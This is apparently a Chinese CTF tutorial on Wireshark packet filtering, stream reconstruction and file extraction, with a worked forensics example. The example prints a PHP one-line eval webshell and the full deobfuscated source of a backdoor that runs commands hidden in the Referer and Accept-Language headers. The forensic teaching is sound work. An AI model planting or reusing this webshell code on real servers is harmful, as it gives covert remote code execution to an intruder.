Wireshark流量分析

目录

1.基本介绍

2.基本使用

1)数据包筛选:

2)筛选ip:

3)数据包还原

4)数据提取

3.wireshark实例


1.基本介绍

在CTF比赛中,对于流量包的分析取证是一种十分重要的题型。通常这类题目都是会提供一个包含流量数据的pcap文件,参赛选手通过该文件筛选和过滤其中无关的流量信息,根据关键流量信息找出flag或者相关线索。

pcap流量包的分析通常都是通过图形化的网络嗅探器------wireshark进行的,这款嗅探器经过众多开发者的不断完善,现在已经成为使用最为广泛的安全工具之一。接下来,斗哥来为大家讲解这款工具的基本使用。

2.基本使用

Wireshark的基本使用分为数据包筛选、数据包搜索、数据包还原、数据提取四个部分。

1)数据包筛选:

数据包筛选功能是wireshark的核心功能,比如需要筛选出特定的协议如HTTP,Telnet等,也可能需要筛选出ip地址,端口等。

2)筛选ip:

●源ip筛选

输入命令:ip.src == 地址

3)数据包还原

在wireshark中,存在一个交追踪流的功能,可以将HTTP或TCP流量集合在一起并还原成原始数据,具体操作方式如下:

选中想要还原的流量包,右键选中,选择追踪流 -- TCP流/UPD流/SSL流/HTTP流。

可在弹出的窗口中看到被还原的流量信息

4)数据提取

Wireshark支持提取通过http传输(上传/下载)的文件内容,方法如下:

菜刀下载文件的流量,需要删除分组字节流前开头和结尾的X@Y字符,否则下载的文件会出错。鼠标右键点击 -- 选中 显示分组字节...

在弹出的窗口中设置开始和结束的字节(原字节数开头加3,结尾减3)

最后点击save as按钮导出。

导出结果:

3.wireshark实例

题目要求:

1.黑客第一次获得的php木马的密码是什么

2.黑客第二次上传php木马是什么时间

3.第二次上传的木马通过HTTP协议中的哪个头传递数据

题目要求php木马的密码,首先我们要知道php一句话木马一般都是POST请求

所以我们直接过滤POST请求,发现这个IP请求了一个名为kkkaaa.php的php文件,很可疑

正常文件不会以此命名的, 打开数据包看一下,发现了这个字段

Form item: "zzz" = "@eval(base64_decode($_POSTz0));"

上传的木马应该是:<?php eval($_POST'zzz');?>

又将eval(base64_decode($_POSTz0));传入zzz参数,目的是将z0传入的数据进行base64的解码此时z0传入base64编码后的数据,便可以执行恶意代码解码后发现执行了dirname函数,目的是查看当前路径下的文件或目录,类似linux下的ls命令

PHP代码是通过混淆过的,让我们根本看不懂他的代码

还原后的代码:

php 复制代码
<?php
$kh = "cb42";
$kf = "e130";
function x($t, $k)
{
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0; $i < $l;) {
        for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
            $o .= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
 
$r = $_SERVER;
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];
if ($rr && $ra) {
    $u = parse_url($rr);
    parse_str($u["query"], $q);
    $q = array_values($q);
    preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/", $ra, $m);
    if ($q && $m) {
        @session_start();
        $s =& $_SESSION;
        $ss = "substr";
        $sl = "strtolower";
        $i = $m[1][0] . $m[1][4];
        $h = $sl($ss(md5($i . $kh), 0, 3));
        $f = $sl($ss(md5($i . $kf), 0, 3));
        $p = "";
        for ($z = 1; $z < count($m[1]); $z++) $p .= $q[$m[2][$z]];
        if (strpos($p, $h) === 0) {
            $s[$i] = "";
            $p = $ss($p, 3);
        }
        if (array_key_exists($i, $s)) {
            $s[$i] .= $p;
            $e = strpos($s[$i], $f);
            if ($e) {
                $k = $kh . $kf;
                ob_start();
                @eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/", "/-/"), array("/", "+"), $ss($s[$i], 0, $e))), $k)));
                $o = ob_get_contents();
                ob_end_clean();
                $d = base64_encode(x(gzcompress($o), $k));
                print("<$k>$d</$k>");
                @session_destroy();
            }
        }
    }
}
?>

这个函数在8.0已经被移除,并且和eval()函数有同样的安全隐患

木马要利用,就必然会与数据包进行交互,仔细看看这两行代码

php 复制代码
$rr = @$r["HTTP_REFERER"];
$ra = @$r["HTTP_ACCEPT_LANGUAGE"];

获取http请求中的referer和accept_language字段的,与数据包产生了交互,所以可以基本断定这两个字段是黑客用来传输他想执行的命令的.我们随便看一个访问footer.php的包

所以木马通过HTTP协议中的referer头传递数据

相关推荐
酣大智27 分钟前
TightVNC Server 配置窗口
网络·vnc
隐擎fox29 分钟前
解密 BGP Anycast 边缘路由与跨国链路质量检测:多租户网络出口的低时延与防丢包架构实战
网络·python·网络协议·tcp/ip·网络安全·架构·tcpdump
测试开发技术37 分钟前
AI时代我们要如何玩抓包测试:Reqable + AI Agent
软件测试·人工智能·测试工具·接口测试·agent·抓包
Escalating_xu1 小时前
【Linux 网络编程】Windows 客户端访问 Linux:用 Winsock 跑通 UDP 回显
linux·网络·windows
zhengqweasd1 小时前
Linux 软中断原理:网卡报文是怎么抢占 CPU 的
linux·运维·网络
ESDWAN1 小时前
为什么跨境网络白天正常、晚上卡顿?如何分析时段性?
linux·网络·php·网络运维
牧羊人.3331 小时前
自然语言处理基础 03|门控循环单元 GRU
网络·人工智能·rnn·深度学习·自然语言处理·gru
M158227690551 小时前
IO-Link 三件套:主站网关与智能传感方案
网络·工业通信
天府云创1 小时前
SRE之DeepSeek 10月15日故障分析、旁推和思考
网络·数据库·人工智能·故障处理·deepseek·api恢复
对讲机数码科普1 小时前
业余无线电野外中继寒地故障排查|东北林区 VHF/UHF 台站四季射频环境适配方案
运维·网络